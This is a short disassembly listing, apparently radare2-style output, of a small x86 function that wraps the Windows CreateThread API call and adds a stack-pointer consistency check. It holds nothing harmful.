Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x52733b
push 6
call fcn.005fffca
add esp, 4
jmp 0x527340
mov esp, ebp
pop ebp
ret 0x14